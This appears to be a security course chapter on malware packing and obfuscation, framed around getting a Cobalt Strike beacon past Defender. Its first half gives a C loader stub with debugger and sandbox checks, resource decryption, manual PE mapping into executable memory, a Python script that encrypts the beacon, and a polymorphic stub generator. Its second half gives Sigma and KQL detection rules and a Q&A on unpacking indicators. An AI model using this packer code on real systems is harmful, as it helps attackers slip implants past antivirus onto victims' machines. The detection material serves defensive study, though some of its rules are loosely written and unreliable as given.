Malware Obfuscation and Packing
Packing compresses or encrypts a payload binary and wraps it in a loader stub that decrypts and executes the original at runtime. Obfuscation transforms the binary's static structure to defeat signature matching. The detection shift: packed malware defeats static analysis, so defenders pivot to behavioral detection (unpacking activity, high entropy sections, runtime memory forensics) and emulation-based analysis. The arms race between packer and analyzer centers on whether the packer's stub leaves a recognizable fingerprint.
Your Cobalt Strike beacon binary is flagged by Defender on upload. You need to build a custom packer that encrypts the beacon, embeds it as a resource in an innocuous-looking PE, and decrypts and executes it at runtime via a loader stub — without using any known packer signatures (UPX headers, mpress magic bytes) and without loading from disk at execution time.
PE Obfuscation Techniques
| Technique | What changes | Defeats | Detection resistance |
|---|---|---|---|
| String obfuscation | XOR/AES strings at compile time, decrypt at runtime | Static string scan | Medium |
| Import obfuscation | Resolve API via hash (FNV-1a), not IAT | IAT-based detection | Medium-High |
| Section renaming | Change .text/.data names | Section name heuristics | Low |
| Fake rich header | Overwrite Rich PE header with random bytes | Compiler fingerprinting | Low |
| Encrypted payload + stub | All meaningful bytes encrypted until runtime | Signature, static strings | High |
| Polymorphic stub | Stub changes on each build via variable mutation | Stub signatures | High |
| Metamorphic code | Equivalent instruction substitution in each variant | Code signatures | Very High |
Custom Packer Architecture
// Custom packer stub (C skeleton):
int main() {
// Anti-analysis (sandbox/debugger checks)
if (IsDebuggerPresent() || SandboxCheck()) return 0;
// Load encrypted payload from resource
HRSRC hRes = FindResourceW(NULL, MAKEINTRESOURCEW(1), L"RCDATA");
HGLOBAL hLoad = LoadResource(NULL, hRes);
BYTE* pBuf = (BYTE*)LockResource(hLoad);
DWORD dwSz = SizeofResource(NULL, hRes);
// AES-256 decrypt (key hardcoded or derived from host GUID)
BYTE key[32], iv[16];
DeriveKey(key); // from MachineGuid XOR compile-time constant
memcpy(iv, pBuf, 16);
BYTE* plain = (BYTE*)malloc(dwSz - 16);
DWORD plainLen = dwSz - 16;
AesDecrypt(pBuf + 16, dwSz - 16, key, iv, plain, &plainLen);
// Manual PE mapping (reflective loader logic from ch194)
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)plain;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(plain + pDos->e_lfanew);
DWORD imageSize = pNt->OptionalHeader.SizeOfImage;
BYTE* imageBase = (BYTE*)VirtualAlloc(NULL, imageSize,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(imageBase, plain, pNt->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER pSect = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSect++)
memcpy(imageBase + pSect->VirtualAddress,
plain + pSect->PointerToRawData, pSect->SizeOfRawData);
// Relocations, IAT resolve (see ch194), then call EP:
DWORD ep = pNt->OptionalHeader.AddressOfEntryPoint;
((void(*)())(imageBase + ep))();
return 0;
}
Payload Encryption Strategies
// Build-time packer script (Python): encrypt beacon + generate C header with key
import os, struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
payload_path = "beacon.exe"
with open(payload_path, 'rb') as f:
payload = f.read()
key = os.urandom(32)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, AES.block_size))
blob = iv + encrypted # prepend IV for runtime decryption
# Write as C header for embedding in packer stub:
with open("payload_blob.h", "w") as f:
f.write(f"// Auto-generated — do not edit\n")
f.write(f"#define PAYLOAD_LEN {len(blob)}\n")
f.write(f"unsigned char PAYLOAD_BLOB[] = {{\n ")
f.write(", ".join(f"0x{b:02x}" for b in blob))
f.write("\n};\n")
# Alternatively: binary resource compiled into PE via resource compiler .rc file:
# IDR_PAYLOAD RCDATA "payload_blob.bin"
# link with: /RESOURCES:stub.res
Polymorphism and Metamorphism
// Polymorphic: same logic, different key each build → different cipher output → different hash
// Metamorphic: instruction-level mutation — substitute equivalent instruction sequences
// Example transformations:
// mov eax, 1 → push 1; pop eax
// add eax, 1 → lea eax, [eax+1]
// xor eax, eax → sub eax, eax
// nop → push eax; pop eax
// With random ordering of equivalent blocks and junk instruction insertion,
// two metamorphic variants share near-zero bytes in common — defeats byte-level signature.
// Practical approach: generate loader stub from template with variable substitution:
template = """
VOID Loader_{RAND}() {{
BYTE key[] = {{ {KEY_BYTES} }};
BYTE* enc = (BYTE*)"{BLOB_NAME}";
// ... decrypt + execute
}}
"""
import random, string
def gen_rand(n): return ''.join(random.choices(string.ascii_letters, k=n))
def gen_key(): return ', '.join(f"0x{random.randint(0,255):02x}" for _ in range(32))
print(template.format(
RAND = gen_rand(8),
KEY_BYTES = gen_key(),
BLOB_NAME = gen_rand(12)
))
# Each build produces a unique stub with different function name, variable names, key bytes
# → unique hash even though logic is identical
Detection Engineering
title: High Entropy Section in PE File — Likely Packed
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7 # ImageLoad
condition: selection
falsepositives: UPX-packed legitimate software
note: Signature scanner (AV) checks section entropy at load time; Sysmon EID7 + hash lookup
title: Process Allocating RWX Memory — Likely Unpacking
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 8 # CreateRemoteThread or manual PE map
alloc_rwx:
EventID: 10
GrantedAccess: '0x1fffff' # PROCESS_ALL_ACCESS on self = suspicious
condition: selection or alloc_rwx
level: medium
tags: [attack.defense_evasion, T1027]
-- MDE KQL: process with no import directory (all APIs resolved dynamically)
DeviceImageLoadEvents
| where InitiatingProcessFileName endswith ".exe"
| where not(isnotempty(SHA1)) // unrecognized binary
| summarize count() by InitiatingProcessFileName, InitiatingProcessCommandLine, DeviceName
| where count_ > 5
-- MDE KQL: executable written then immediately executed from temp directory
DeviceFileEvents
| where FolderPath contains @"\Temp\" and FileName endswith ".exe"
| join kind=inner (
DeviceProcessEvents
| project DeviceName, ProcessTimestamp=Timestamp, FileName, FolderPath
) on DeviceName
| where abs(datetime_diff('second', Timestamp, ProcessTimestamp)) < 30
| project DeviceName, FileName, FolderPath, Timestamp
Q&A
Most AV/EDR engines detect packed malware via entropy analysis of PE sections. Why is high section entropy not sufficient as a standalone detection signal, and what complementary runtime indicator closes the gap?
High section entropy is a necessary but not sufficient indicator because many legitimate applications also contain high-entropy sections. Electron applications, Python interpreters embedded in executables, compressed resources (images, fonts, certificates), and software protection solutions like Themida or certain installer formats all produce sections with entropy above 7.0 bits/byte — the commonly cited threshold for "likely encrypted or compressed." A standalone rule blocking all PE files with high-entropy sections would generate enormous false positive volume in enterprise environments. Additionally, sophisticated packers can lower their apparent entropy by padding the encrypted blob with fixed-pattern bytes (lowering measured entropy) or by inserting the encrypted payload in multiple small chunks mixed with structured data, while still achieving near-100% payload encryption.
The complementary runtime indicator that closes the gap is the unpacking behavioral signature: a process that (1) allocates a large RWX (or RW→RX flip) memory region at runtime, then (2) writes a PE structure (MZ header, 0x5A4D) into that region, then (3) either creates a new thread or jumps to an entry point within that anonymous memory region, exhibits the universal unpacking pattern regardless of what encryption algorithm or obfuscation layer was used on disk. This behavioral sequence is tracked by Sysmon EID 10 (process memory access during mapping), the Windows kernel's ETW Threat Intelligence callbacks (CreateRemoteThread into anonymous pages, NtWriteVirtualMemory where destination contains MZ magic), and MDE's own PE-in-memory detection which flags anonymous memory regions containing PE headers as unpacked payloads. The combination of static high entropy (the disk indicator) plus in-memory PE header detection (the runtime indicator) achieves high precision: false positives from legitimate high-entropy software are eliminated because legitimate software does not unpack a PE into anonymous RWX memory.